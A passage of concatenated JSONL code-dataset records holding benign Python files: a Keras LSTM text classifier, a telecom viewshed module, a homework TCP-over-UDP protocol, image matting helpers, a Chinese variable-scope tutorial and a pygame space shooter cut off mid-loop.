maxlen-len(s))\n return list(abc[s])\n\nall_['doc2num'] = all_[1].apply(lambda s: doc2num(s, maxlen))\nprint(all_['doc2num'])\n#按keras的输入要求来生成数据\nx = np.array(list(all_['doc2num']))\ny = np.array(list(all_['label']))\ny = y.reshape((-1,1)) #调整标签形状\n\n\nfrom keras.models import Sequential, load_model\nfrom keras.layers import Dense, Activation, Dropout, Embedding\nfrom keras.layers import LSTM\n\n#建立模型\nmodel = Sequential()\nmodel.add(Embedding(len(abc), 256, input_length=maxlen))\nmodel.add(LSTM(128))\nmodel.add(Dropout(0.5))\nmodel.add(Dense(1))\nmodel.add(Activation('sigmoid'))\nmodel.compile(loss='binary_crossentropy',\n optimizer='adam',\n metrics=['accuracy'])\n\nbatch_size = 128\ntrain_num = 20000\n\nmodel.fit(x[:train_num], y[:train_num], batch_size = batch_size, nb_epoch=1)\n\nmodel.evaluate(x[train_num:], y[train_num:], batch_size = batch_size)\n\n# model.save('my_model.h5')\n\n","sub_path":"charLstmTrain.py","file_name":"charLstmTrain.py","file_ext":"py","file_size_in_byte":1755,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"607491963","text":"import configparser\nimport os, sys\nimport glob\nimport csv\nfrom math import sqrt, pi, sin, cos, tan, atan2 as arctan2\nfrom pyproj import Proj, transform\nimport fiona\nfrom shapely.geometry import Point, LineString, shape\nfrom osgeo import gdal\nfrom collections import OrderedDict\n\nfrom generate_viewshed import load_raster_files\n\n# import rasterio\n\nCONFIG = configparser.ConfigParser()\nCONFIG.read(\n os.path.join(os.path.dirname(__file__), '..', '..', 'scripts','script_config.ini')\n )\nBASE_PATH = CONFIG['file_locations']['base_path']\n\n#data locations\nDATA_RAW_INPUTS = os.path.join(BASE_PATH, 'raw', 'e_dem_and_buildings')\nDATA_RAW_SHAPES = os.path.join(BASE_PATH, 'raw', 'd_shapes')\nDATA_INTERMEDIATE = os.path.join(BASE_PATH, 'intermediate')\n\ndef find_line_of_sight (x_transmitter, y_transmitter, x_receiver, y_receiver,\n local_authority_ids):\n \"\"\"\n Takes transmitter and receiver locations and determines line of sight.\n\n Parameters\n ----------\n x_transmitter: float\n Longitude coordinate of transmitter.\n y_transmitter : float\n Latitude coordinate of transmitter.\n x_receiver : float\n Longitude coordinate of receiver.\n y_receiver : float\n Latitude coordinate of transmitter.\n local_authority_ids : list\n Any local authority id for which the area in question intersects.\n\n \"\"\"\n projOSGB36 = Proj(init='epsg:27700')\n projWGS84 = Proj(init='epsg:4326')\n\n x_transmitter, y_transmitter = transform(\n projWGS84, projOSGB36, x_transmitter, y_transmitter\n )\n x_receiver, y_receiver = transform(projWGS84, projOSGB36, x_receiver, y_receiver)\n\n x_coordinates = []\n y_coordinates = []\n\n x_coordinates.extend([x_transmitter, x_receiver])\n y_coordinates.extend([y_transmitter, y_receiver])\n\n x_min, x_max = min(x_coordinates), max(x_coordinates)\n y_min, y_max = min(y_coordinates), max(y_coordinates)\n\n tile_ids = find_osbg_tile(x_min, y_min, x_max, y_max)\n\n print(tile_ids)\n\n # premises_data = read_premises_data(x_min, y_min, x_max, y_max, local_authority_ids)\n\n # if len(premises_data) < 1:\n # line_of_sight = 'los'\n # else:\n # tile_ids = find_osbg_tile(x_min, y_min, x_max, y_max)\n\n # #get building heights\n # building_heights = []\n\n # for tile_id in tile_ids:\n # pathlist = glob.iglob(os.path.join(DATA_RAW_INPUTS,'mastermap_building_heights_2726794',\n # tile_id['tile_ref_2_digit'] + '/*.csv'))\n # for path in pathlist:\n # if path[-10:-6] == tile_id['tile_ref_4_digit'].lower():\n # with open(path, 'r') as system_file:\n # reader = csv.reader(system_file)\n # next(reader)\n # for line in reader:\n # building_heights.append({\n # 'id': line[0],\n # 'max_height': line[6],\n # })\n # else:\n # pass\n\n # #match premises with building heights\n # premises_with_heights = []\n\n # for premises in premises_data:\n # for building_height in building_heights:\n # if premises['properties']['uid'] == building_height['id']:\n # premises_with_heights.append({\n # 'type': \"Feature\",\n # 'geometry': {\n # \"type\": \"Point\",\n # \"coordinates\": [premises['geometry']['coordinates']]\n # },\n # 'properties': {\n # 'uid': premises['properties']['uid'],\n # 'max_height': building_height['max_height']\n # }\n # })\n\n # # make sure viewshed files have been generated\n # # get list of required tile ids\n # Create path\n output_dir = os.path.abspath(os.path.join(DATA_INTERMEDIATE, 'viewshed_tiles'))\n if not os.path.exists(output_dir):\n os.makedirs(output_dir)\n\n final_tile_id_list = []\n\n for tile_id in tile_ids:\n pathlist = glob.iglob(os.path.join(DATA_RAW_INPUTS,'terrain-5-dtm_2736772',\n tile_id['tile_ref_2_digit'] + '/*.asc'))\n for tile_path in pathlist:\n filename = os.path.basename(tile_path)[:-4]\n if filename == tile_id['full_tile_ref']:\n final_tile_id_list.append(tile_path)\n\n load_raster_files(final_tile_id_list, output_dir, x_transmitter, y_transmitter)\n\n # if len(final_tile_id_list) == 1:\n # filename = final_tile_id_list[0]\n # if not os.path.exists(os.path.join(output_dir, filename + '-viewshed.tif')):\n # from generate_viewshed import generate_viewshed\n # generate_viewshed(x_transmitter, y_transmitter, output_dir, filename, tile_path)\n # else:\n # #TODO deal with multiple tiles\n # for filename in final_tile_id_list:\n # if not os.path.exists(os.path.join(output_dir, filename + '-viewshed.tif')):\n # from generate_viewshed import generate_viewshed\n # #merge files together\n # #then generate viewshed\n # generate_viewshed(x_transmitter, y_transmitter, output_dir, filename, tile_path)\n\n # #load in raster viewshed files\n # for final_tile in final_tile_id_list:\n # path = os.path.join(output_dir,final_tile + '-viewshed.tif')\n # src = rasterio.open(path)\n\n # from rasterio.plot import show\n # show(src, cmap='terrain')\n\n # for val in src.sample([(x_receiver, y_receiver)]):\n # if val == 0:\n # line_of_sight = 'nlos'\n # elif val == 1:\n # line_of_sight = 'los'\n # else:\n # print('binary viewshed .tif returning non-conforming value')\n\n return print('complete')#line_of_sight\n\n# def read_premises_data(x_min, y_min, x_max, y_max, local_authority_ids):\n# \"\"\"\n# Reads in premises points from the OS AddressBase data (.csv).\n\n# Data Schema\n# ----------\n# * id: :obj:`int`\n# Unique Premises ID\n# * oa: :obj:`str`\n# ONS output area code\n# * residential address count: obj:'str'\n# Number of residential addresses\n# * non-res address count: obj:'str'\n# Number of non-residential addresses\n# * postgis geom: obj:'str'\n# Postgis reference\n# * E: obj:'float'\n# Easting coordinate\n# * N: obj:'float'\n# Northing coordinate\n\n# \"\"\"\n# premises_data = []\n\n# directories = list(set())\n# for lad_id in local_authority_ids:\n# directory = os.path.join(DATA_RAW_INPUTS, 'prems_by_lad', lad_id)\n# directories.append(directory)\n\n# for directory in directories:\n# pathlist = glob.iglob(os.path.join(directory), recursive=True)\n# for path in pathlist:\n# with open(os.path.join(path), 'r') as system_file:\n# reader = csv.DictReader(system_file)\n# for line in reader:\n# if (x_min <= float(line[8]) and y_min <= float(line[7]) and\n# x_max >= float(line[8]) and y_max >= float(line[7])):\n# premises_data.append({\n# 'type': \"Feature\",\n# 'geometry': {\n# \"type\": \"Point\",\n# \"coordinates\": [float(line[8]), float(line[7])]\n# },\n# 'properties': {\n# 'uid': line[0]\n# }\n# })\n\n# return premises_data\n\ndef find_osbg_tile(x_min, y_min, x_max, y_max):\n\n with fiona.open(\n os.path.join(DATA_RAW_SHAPES, 'osgb_grid', 'OSGB_Grid_5km.shp'),\n 'r') as source:\n line_geom = LineString([Point(x_min, y_min), Point(x_max, y_max)])\n all_tiles = [\n tile for tile in source if line_geom.intersection(shape(tile['geometry']))\n ]\n\n tile_ids = []\n non_conforming_id_lengths = []\n\n for tile in all_tiles:\n tile_id = tile['properties']['TILE_NAME']\n if len(tile_id) == 6:\n tile_ids.append({\n 'full_tile_ref': tile_id,\n 'tile_ref_4_digit': tile_id[:4],\n 'tile_ref_2_digit': tile_id[:2].lower(),\n })\n elif len(tile_id) == 4:\n tile_ids.append({\n 'full_tile_ref': 'not available',\n 'tile_ref_4_digit': tile_id[:4],\n 'tile_ref_2_digit': tile_id[:2].lower(),\n })\n else:\n non_conforming_id_lengths.append(tile_id)\n\n return tile_ids\n\ndef read_building_height_data(x_min, y_min, x_max, y_max):\n \"\"\"\n Reads in building height date from OS (.csv).\n\n \"\"\"\n premises_data = []\n #print(x_min, y_min, x_max, y_max)\n #pathlist = glob.iglob(os.path.join(DATA_RAW_INPUTS, 'layer_5_premises') + '/*.csv', recursive=False)\n pathlist = glob.iglob(os.path.join(DATA_RAW_INPUTS, 'layer_5_premises', 'blds_with_functions_en_E12000006.csv'))\n\n for path in pathlist:\n with open(os.path.join(path), 'r') as system_file:\n reader = csv.reader(system_file)\n next(reader)\n\n for line in reader:\n if (x_min <= float(line[8]) and y_min <= float(line[7]) and\n x_max >= float(line[8]) and y_max >= float(line[7])):\n premises_data.append({\n 'type': \"Feature\",\n 'geometry': {\n \"type\": \"Point\",\n \"coordinates\": [float(line[8]), float(line[7])]\n },\n 'properties': {\n 'uid': line[0]\n }\n })\n\n return premises_data\n\ndef write_shapefile(data, filename):\n\n # Translate props to Fiona sink schema\n prop_schema = []\n for name, value in data[0]['properties'].items():\n fiona_prop_type = next((fiona_type for fiona_type, python_type in fiona.FIELD_TYPES_MAP.items() if python_type == type(value)), None)\n prop_schema.append((name, fiona_prop_type))\n\n sink_driver = 'ESRI Shapefile'\n sink_crs = {'init': 'epsg:27700'}\n sink_schema = {\n 'geometry': data[0]['geometry']['type'],\n 'properties': OrderedDict(prop_schema)\n }\n\n # Create path\n directory = os.path.join(DATA_INTERMEDIATE, 'built_env_test')\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n # Write all elements to output file\n with fiona.open(os.path.join(directory, filename), 'w', driver=sink_driver, crs=sink_crs, schema=sink_schema) as sink:\n [sink.write(feature) for feature in data]\n\n#use coords inside one tile\n#line_of_sight = find_line_of_sight(0.124896, 52.215965, 0.133939, 52.215263)\n\n#coords in two different tiles\n# line_of_sight = find_line_of_sight(0.0790, 52.1982, 0.133939, 52.215263)\n\n#write_shapefile(premises, 'built_env_premises.shp')\n","sub_path":"digital_comms/mobile_network/built_env_module.py","file_name":"built_env_module.py","file_ext":"py","file_size_in_byte":11240,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"207954620","text":"#!/usr/bin/env python3\r\nimport socket, logging, time\r\nfrom citcp.header import Header\r\nfrom citcp.state import TCPState\r\nfrom citcp.tcb import Tcb\r\n\r\n\r\n# Total message size\r\nMSG_SIZE = 512\r\n# Size of payload from message\r\nPAYLOAD_SIZE = MSG_SIZE - Header.LENGTH\r\n# How long to wait until the package is considered lost\r\nTIMEOUT_WAIT_DEFAULT = 200 / 1000\r\n# How long to wait until socket can reset\r\nTIMED_WAIT = 100 / 1000\r\n\r\n\r\ndef rawSend(tcb, header, data=b''):\r\n nBytes = tcb.sock.sendto(header+data, 0, tcb.conn_addr)\r\n logging.info(f\"Sent:\")\r\n logging.info(f\" Header: {header}\")\r\n logging.info(f\" Data: {data}\")\r\n #logging.info(f\" Data: {data.decode('utf-8')}\")\r\n return nBytes\r\n\r\n\r\ndef sendHeader(tcb, header):\r\n logging.info(\"Sending:\")\r\n logging.info(header)\r\n header_raw = header.to_bytes()\r\n return rawSend(tcb, header_raw)\r\n\r\n\r\ndef dataSend(tcb, header, data):\r\n logging.info(\"Sending:\")\r\n logging.info(header)\r\n logging.info(data)\r\n header_raw = header.to_bytes()\r\n data_raw = data #happens to be raw bytes already\r\n return rawSend(tcb, header_raw, data_raw)\r\n\r\n\r\ndef rawRecv(tcb):\r\n logging.info(\"Receiving:\")\r\n data, address = tcb.sock.recvfrom(MSG_SIZE)\r\n logging.info(f\"Address: {address}\")\r\n logging.info(f\"Data: {data}\")\r\n return data, address\r\n\r\n\r\ndef recv(tcb):\r\n data, address = rawRecv(tcb)\r\n header, payload = Header.from_bytes(data[:Header.LENGTH]), data[Header.LENGTH:]\r\n logging.info(\"Received\")\r\n logging.info(header)\r\n logging.info(payload)\r\n return header, payload, address\r\n\r\n\r\ndef recvHeader(tcb, *flags, setaddr = False):\r\n f = Header.collectFlags(flags)\r\n while True:\r\n header, payload, address = recv(tcb)\r\n if header.isCorrupted(address, payload):\r\n # TODO: Ask for resend\r\n continue\r\n\r\n # if not header.correctSynAck(tcb):\r\n # TODO: Ask for resend\r\n # TODO: Ask if this is correct\r\n # continue\r\n \r\n elif header.getFlag(f):\r\n if setaddr:\r\n tcb.conn_addr = address\r\n return header\r\n # else drop packet by doing nothing with it\r\n\r\n\r\ndef recvData(tcb):\r\n while True:\r\n header, payload, address = recv(tcb)\r\n if header.isCorrupted(address, payload):\r\n #TODO: Ask for resend\r\n continue\r\n\r\n if header.getSYN():\r\n tcb.recv += len(payload)\r\n return payload, False\r\n\r\n if header.getFIN():\r\n return b'', True\r\n\r\n\r\ndef splitFile(file, chunk=PAYLOAD_SIZE):\r\n while True:\r\n value = file.read(chunk)\r\n if not value:\r\n break\r\n yield value\r\n\r\n\r\ndef sendFile(tcb, filename):\r\n with open(filename, 'rb') as file:\r\n for message in splitFile(file, PAYLOAD_SIZE):\r\n syn_data = Header.from_tcb(tcb, Header.Flags.SYN)\r\n dataSend(tcb, syn_data, message)\r\n tcb.sent += len(message)\r\n header = recvHeader(tcb, Header.Flags.ACK, Header.Flags.FIN)\r\n if header.getFIN():\r\n return True\r\n return False\r\n\r\n\r\ndef receiveFile(tcb, filename):\r\n with open(filename, 'wb') as file:\r\n closed = False\r\n while not closed:\r\n payload, closed = recvData(tcb)\r\n file.write(payload)\r\n if not closed:\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.ACK))\r\n\r\n\r\ndef FinSendAction(tcb):\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.FIN))\r\n\r\n\r\ndef FinWait1Action(tcb):\r\n recvHeader(tcb, Header.Flags.ACK)\r\n\r\n\r\ndef FinWait2Action(tcb):\r\n recvHeader(tcb, Header.Flags.FIN)\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.ACK))\r\n\r\n\r\ndef TimeWaitAction(tcb):\r\n time.sleep(TIMED_WAIT)\r\n\r\n\r\ndef FinReceivedAction(tcb):\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.ACK))\r\n\r\n\r\ndef CloseWaitAction(tcb):\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.FIN))\r\n\r\n\r\ndef LastAckAction(tcb):\r\n ack_header = recvHeader(tcb, Header.Flags.ACK)\r\n\r\n\r\ndef ListenAction(tcb):\r\n syn_header = recvHeader(tcb, Header.Flags.SYN, setaddr=True)\r\n tcb.ack = syn_header.seq\r\n tcb.recv += 1\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.SYN, Header.Flags.ACK))\r\n tcb.sent += 1\r\n\r\n\r\ndef SynReceivedAction(tcb):\r\n ack_header = recvHeader(tcb, Header.Flags.ACK)\r\n\r\n\r\ndef openResponderSequence(tcb, state):\r\n ListenAction(tcb)\r\n state = state.changeState(TCPState.SYN_RECIEVED)\r\n SynReceivedAction(tcb)\r\n state = state.changeState(TCPState.ESTABLISHED)\r\n return state\r\n\r\n\r\ndef ClosedAction(tcb):\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.SYN))\r\n tcb.sent += 1\r\n\r\n\r\ndef SynSentAction(tcb):\r\n synack_header = recvHeader(tcb, Header.Flags.SYNACK)\r\n tcb.ack = synack_header.seq\r\n tcb.recv += 1\r\n sendHeader(tcb, Header.from_tcb(tcb, Header.Flags.ACK))\r\n\r\n\r\ndef openInitiatorSequence(tcb, state):\r\n if state is None:\r\n state = TCPState.startingState()\r\n else:\r\n state = state.changeState(TCPState.CLOSED)\r\n ClosedAction(tcb)\r\n state = state.changeState(TCPState.SYN_SENT)\r\n SynSentAction(tcb)\r\n state = state.changeState(TCPState.ESTABLISHED)\r\n return state\r\n\r\n\r\ndef closeInitiatorSequence(tcb, state):\r\n FinSendAction(tcb)\r\n state = state.changeState(TCPState.FIN_WAIT_1)\r\n FinWait1Action(tcb)\r\n state = state.changeState(TCPState.FIN_WAIT_2)\r\n FinWait2Action(tcb)\r\n state = state.changeState(TCPState.TIME_WAIT)\r\n TimeWaitAction(tcb)\r\n state = state.changeState(TCPState.CLOSED)\r\n return state\r\n\r\n\r\ndef closeResponderSequence(tcb, state):\r\n FinReceivedAction(tcb)\r\n state = state.changeState(TCPState.CLOSE_WAIT)\r\n CloseWaitAction(tcb)\r\n state = state.changeState(TCPState.LAST_ACK)\r\n LastAckAction(tcb)\r\n state = state.changeState(TCPState.CLOSED)\r\n return state\r\n","sub_path":"HW4/citcp/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"171679736","text":"class Account(object):\n def __init__(self,first_name,last_name,user_name,phone_number,address1,address2,email,id=None):\n self.id = id\n self.first_name = first_name\n self.last_name = last_name\n self.user_name = user_name\n self.phone_number = phone_number\n self.address1 = address1\n self.address2 = address2\n self.email = email","sub_path":"pottery/models/accounts.py","file_name":"accounts.py","file_ext":"py","file_size_in_byte":384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"206166008","text":"import numpy as np \nfrom PIL import Image \n\ndef vlahos_blue_screen_matting(image, a_1, a_2):\n #a rough guide is for a_2 should be smaller than a_1 as we want to extract non-blue\n image = image / 255 #normalise entire image to 0 and 1\n i_b = image[:,:,2]\n i_g = image[:,:,1]\n alpha = 1 - a_1 * (i_b - (a_2 * i_g)) \n alpha = np.clip(alpha, 0, 1) * 255\n thresh = alpha.mean()\n alpha[alpha <= (thresh * 0.7)] = 0 #0.7 and thresh are parameters tuned to this image\n return np.array(alpha, dtype=np.uint8) \n\ndef difference_matte( image, clean_plate ):\n image = image.convert('L') if image.mode == 'RGB' else image \n clean_plate = clean_plate.convert('L') if clean_plate.mode == 'RGB' else clean_plate \n image = np.array(image)\n clean_plate = np.array(clean_plate)\n diff = np.abs(image - clean_plate)\n diff[diff >= 125] = 0 # tweak to get it to work\n return diff\n\n\n\n\n\n","sub_path":"image_matting/image_matting.py","file_name":"image_matting.py","file_ext":"py","file_size_in_byte":909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"120211376","text":"'''\n作用域:一个变量可以使用的范围,就是这个变量的作用域(函数和类可以影响作用域)\n\n全局变量:从声明开始到文件结束,都可以使用\n局部变量:在函数(类)中声明的变量是局部变量。作用域是从声明开始到函数结束\n'''\n# 1.全局变量\na = 10 #这是一个全局变量\nprint(a)\n\ndef func1():\n print(a)\n\nfor x in range(10):\n b = 100 #全局变量\n print(b)\n print(a)\n\nprint('===',b)\n\n# 2.局部变量\ndef func3():\n aaa = 100 #局部变量,作用域是函数\n print(aaa)\n\nfunc3()\n\n# print(aaa) #报错\n\n# 3.global和nonlocal\n'''\nglobal:在函数中声明一个全局变量\n格式:\nglobal 变量名\n变量名 = 值\n'''\nabc = 'abc' #全部变量\nbcd = 'bcd'\ndef func4():\n abc = 'aaa' #局部变量,如果全局变量和局部变量名相同,在函数中使用局部变量\n print(abc)\n\n global bcd #说明bcd是一个全局变量\n bcd = 100\n print(bcd)\n\nfunc4()\nprint(abc)\nprint(bcd)\n\n'''\nnonlocal:在函数内部声明一个全局变量\n'''\ndef func11():\n a_11 = 10\n print('外部:',a_11)\n # python中函数内部可以声明函数\n def func12():\n nonlocal a_11\n a_11 = 100\n print('内部:',a_11)\n print('内部函数')\n func12()\n print('外部:',a_11)\nfunc11()","sub_path":"PythonNotes/第一阶段/Day8/02-作用域.py","file_name":"02-作用域.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"603612899","text":"#! /usr/bin/env python\nimport pygame\n#from pygame.locals import *\nimport sys\nimport obj\nimport random\n\n#well, we added music but it makes the game hang :\\\n\n#these two lines before pygame.init() fix hang problem slightly, but don't completely fix\n#may have to somehow run mixer in a separate process\npygame.mixer.pre_init(44100, -16, 2, 512)\npygame.mixer.init()\n\npygame.init()\n\n#speed of map scrolling\nNORMSCROLLSPEED = 2\nSCROLLSPEED = 2\n\nspeedupstarttime = -1\nmoregunsstarttime = -1\n\n#set up window\nscreen = pygame.display.set_mode((obj.SCREENW, obj.SCREENH), pygame.DOUBLEBUF)\npygame.display.set_caption(\"KILL THE ALIENS\")\n\n#set text font\nmyfont = pygame.font.SysFont(\"monospace\", 15)\n\n#create singleton images for efficiency\nshipimg = pygame.image.load(\"spaceship1.png\")\nsaucerimg = pygame.image.load(\"saucer1.png\")\nbulletimg = pygame.image.load(\"bullet1.png\").convert()\nbossimg = pygame.image.load(\"invader2.png\")\n\n#status modifier images\n#using same image for now, to change\noneupimg = pygame.image.load(\"plus102.png\")\nbombimg = pygame.image.load(\"bomb.png\")\nspeedupimg = pygame.image.load(\"speed.png\")\nmoregunsimg = pygame.image.load(\"guns.png\")\n\n#load up music\npygame.mixer.music.load(\"spectre.mp3\");\n\n#actually transparent square\nblacksquare = pygame.Surface((obj.explosion[0].get_width()-15, obj.explosion[0].get_height()-15), pygame.SRCALPHA, 32)\n\n#set up game objects\nship = obj.Player(shipimg)\n#sprite groups\nsaucers = []\nbullets = []\nstatmods =[]\t#for power ups and booby traps\n#gone = False\n#killed = pygame.sprite.Group()\n\n#test power up\n#statmods.append(obj.OneUp(oneupimg))\n\n#create enemies\nfor x in range(0,3):\n\tsaucers.append(obj.Enemy(random.randrange(0, obj.SCREENW), random.randrange(0, 100), saucerimg))\n\n#create boss\nboss = obj.Boss(100, -1200, bossimg,0)\n\n#create boss explosions\n#maybe move this later in the code and don't create it in memory until we need it\nboom = []\nboom.append(obj.MoveableObject(0, 0, pygame.Surface((1, 1))))\n\nclock = pygame.time.Clock()\nbg = pygame.image.load(\"map1.png\").convert()\nbgoffset = 0\nFPS = 30\n\n#flags\n#0 means play, 1 means user exit, 2 means death, 3 means victory\nendgame = 0\n#0 means no boss, 1 means clear out shop for boss, 2 means boss entering, \n#3 means boss is out, 4 means dying, 5 means dead\nBEASTMODE = 0\n\n#most saucers that can be in play before boss comes out\nMAXENEMIES = 10\t\t\t#default 10\n\nBLACK = (0,0,0)\nblacksquare.fill(BLACK)\n\nscore = 0\ntime = 0\t#total play time\nendtime = 0\n\nchangeover = 0\t#for scroll change over\nychng = 0\n\n#for more precise keyboard input\ngoright = False\ngoleft = False\ngoup = False\ngodown = False\n\n#print saucers\ndeadindex = -10\n\nintro = 1\nintroscreen = pygame.image.load(\"intro1.png\")\n\n#opening screen\nwhile(intro == 1):\n\tscreen.fill(BLACK)\n\tscreen.blit(introscreen, (0,0))\n\tpygame.display.flip()\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT:\n\t\t\tsys.exit()\n\t\tif not hasattr(event, 'key'): continue\n\t\tif event.type == pygame.KEYDOWN:\n\t\t\tif (event.key == pygame.K_RETURN): intro = 0\n\n#start music on endless loop\npygame.mixer.music.play(-1)\n\n#begin main game loop\n#this should have all been put in a function T_T\nwhile(endgame == 0):\n\tticktime = clock.tick(FPS)\t\t#update time in milliseconds\n\ttime += ticktime\n\n\t#add more saucers to increase difficulty as time goes on\n\t#number of saucers is a function of time\n\tif(len(saucers)-3 < time/12000 and BEASTMODE == 0):\n\t\t#print len(saucers)\n\t\t#print time/6000\n\t\tsaucers.append(obj.Enemy(random.randrange(0, obj.SCREENW), random.randrange(-200, -50), saucerimg))\n\t#if(time >= 8000 and len(saucers) < 5):\n\t\t#saucers.append(obj.Enemy(random.randrange(0, obj.SCREENW), random.randrange(-200, -50), saucerimg))\n\n\t#determine if we should have a status modifier\n\t#so apparently there's no switch/case in python >_>\n\t#choose a random number, determine which powerup based on number, if not 1 - 6 just continue on w/ no stat mod\n\tfor case in obj.switch(random.randrange(0, 2201)): #figure out the right number for this, maybe 2201\n\t\tif case(1): \n\t\t\tstatmods.append(obj.OneUp(oneupimg))\n\t\telif case(90): \n\t\t\tstatmods.append(obj.Bomb(bombimg))\n\t\telif case(1337) or case(219):\t#to make it more likely \n\t\t\tstatmods.append(obj.SpeedUp(speedupimg))\n\t\telif case(511) or case(2000): \n\t\t\tstatmods.append(obj.MoreGuns(moregunsimg))\n\t\t\t#moregunsstarttime = time\n\n\t#ENTER THE BOSS\n\tif(len(saucers) > MAXENEMIES):\t\t#change that number for max saucers on screen - default 10\n\t\tBEASTMODE = 1\n\t\t#del saucers[:]\t\t#this removes the whole list\n\n\t#user input\n\tfor event in pygame.event.get():\n\t\tif event.type == pygame.QUIT: endgame = 1\n\t\tif not hasattr(event, 'key'): continue\n\t\tif event.key == pygame.K_ESCAPE: endgame = 1\n\n\t\tif(event.type == pygame.KEYDOWN):\n\t\t\tif (event.key == pygame.K_LEFT and ship.x >= 0): \n\t\t\t\tgoleft = True\n\t\t\telif (event.key == pygame.K_RIGHT and ship.x+ship.width <= obj.SCREENW): \n\t\t\t\tgoright = True\n\t\t\telif (event.key == pygame.K_UP and ship.y >= 0):\n\t\t\t\tgoup = True\n\t\t\telif (event.key == pygame.K_DOWN and ship.y+ship.height <= obj.SCREENH):\n\t\t\t\tgodown = True\n\n\t\tif(event.type == pygame.KEYUP):\n\t\t\tif (event.key == pygame.K_LEFT):\n\t\t\t\tgoleft = False\n\t\t\telif (event.key == pygame.K_RIGHT):\n\t\t\t\tgoright = False\n\t\t\telif (event.key == pygame.K_UP):\n\t\t\t\tgoup = False\n\t\t\telif (event.key == pygame.K_DOWN):\n\t\t\t\tgodown = False\n\n\t\tif (event.key == pygame.K_SPACE and ship.active): \n\t\t\tbullets.append(ship.fire(bulletimg))\n\t\t\tif(ship.bamfmode):\n\t\t\t\tbullets.append(ship.fire(bulletimg, obj.LEFT))\n\t\t\t\tbullets.append(ship.fire(bulletimg, obj.RIGHT))\n\n\t#for smoothness and border checks\n\tif(goright == True and ship.x+ship.width <= obj.SCREENW): ship.x += ship.speed\n\telif(goleft == True and ship.x >= 0): ship.x -= ship.speed\n\tif(goup == True and ship.y >= 0): ship.y -= ship.speed\n\telif(godown == True and ship.y+ship.height <= obj.SCREENH): ship.y += ship.speed\n\n\tship.updatepos()\n\n\tif(BEASTMODE == 3):\t\t#if boss is out\n\t\tif(boss.infirerange(ship) > 0):\n\t\t\tif(random.randrange(0,10) == 1 and ship.exploding == -1):\t#and if ship is not exploding\n\t\t\t\tbullets.append(boss.fire(bulletimg, obj.LEFT))\n\t\t\tif(random.randrange(0,10) == 1 and ship.exploding == -1):\n\t\t\t\tbullets.append(boss.fire(bulletimg, obj.RIGHT))\n\t\t#elif(random.randrange(0,20) == 1):\n\t\t#\tbullets.append(boss.fire(bulletimg, obj.LEFT))\n\t\t#\tbullets.append(boss.fire(bulletimg, obj.RIGHT))\n\n\t#potentially better collision detection\n\t#for bullet in bullets:\n\t\t#bullet.move()\n\t\t#pygame.sprite.spritecollide(bullet, saucers, 1)\n\t\t#if killed: \n\t\t\t#print killed\n\t\t\t#print saucers\n\t#this may be movable to the next iteration through the saucers\n\tfor saucer in saucers:\n\t\tdietest = saucer.move(BEASTMODE)\n\t\tif dietest == 1: \n\t\t\tdeadindex = saucers.index(saucer)\n\t\t\t#print \"DEAD \" + str(deadindex)\n\t\n\t#print \"DEAD \" + str(deadindex)\n\t#print \"LEN \" + str(len(saucers))\n\n\t#move bullets, check for collisions with player or boss or off screen\n\t#explosions as well\n\t#just an iteration through all bullets\n\tfor bullet in bullets:\n\t\tbullet.move()\n\t\t#-60 to go a little off screen, for high up explosions\n\t\tif(bullet.y < -60 or bullet.y > obj.SCREENH): bullet.active = False\n\t\tif(obj.collide(ship, bullet) and bullet.dir != obj.UP):\n\t\t\tship.die()\n\t\t\tbullet.active = False\n\t\telif(BEASTMODE == 3 and obj.collide(boss, bullet)): \n\t\t\tboss.health -= 5\n\t\t\tif(boss.health <= 0): \n\t\t\t\tboss.die()\n\t\t\t\tBEASTMODE += 1\n\t\t\tbullet.active = False\n\t\tif(-1 < bullet.exploding < 4): bullet.explode(time)\n\t\tif(bullet.active == False): bullets.remove(bullet)\n\n\t#maybe it would be best to have a section just to handle explosions across the board\n\t#perhaps an explosion object, eg just kill the sprite and have explosion obj take over\n\n\t#print \"Boss Health: \" + str(boss.health)\n\t#just for kicks\n\t#inefficient collision detection\n\t#but it works for now\n\tfor saucer in saucers:\n\t\tif(obj.collide(saucer, ship) and saucer.exploding == -1):\n\t\t\tship.die()\n\t\t\tsaucer.explode(time)\n\t\t\t#saucer.respawn()\n\t\t\t#if ship.health <= 0: endgame = 0\t#change to 2 for kill\n\t\telif(-1 < saucer.exploding < 4): \n\t\t\tif(saucer.explode(time)):\n\t\t\t\t#if we are finished exploding, reset\n\t\t\t\tsaucer.respawn()\n\t\t\t\tsaucer.image = saucerimg\n\t\t\t\tsaucer.exploding = -1\n\t\t\t\tsaucer.active = True\n\t\t\t\t#print \"done exploding\"\n\t\t\n\t\t#print saucer.exploding\n\n\t\tfor bullet in bullets:\n\t\t\tif(obj.collide(saucer, bullet)):\n\t\t\t\tbullet.x = saucer.x\n\t\t\t\tbullet.y = saucer.y\n\t\t\t\tbullet.updatepos()\n\t\t\t\t#respawn saucer off screen and increment score\n\t\t\t\tif(BEASTMODE != 1): saucer.respawn()\n\t\t\t\telse: \n\t\t\t\t\tdeadindex = saucers.index(saucer)\n\t\t\t\t\tdietest = 1\n\t\t\t\tbullet.explode(time)\n\t\t\t\t#saucers.remove(saucer)\t\t#this removes the actual object from the list\n\t\t\t\tscore += 5\n\t\tif(saucer.active == False): saucer.respawn()\n\n\t#handle status modifiers\n\tmodRMindex = []\n\tfor mod in 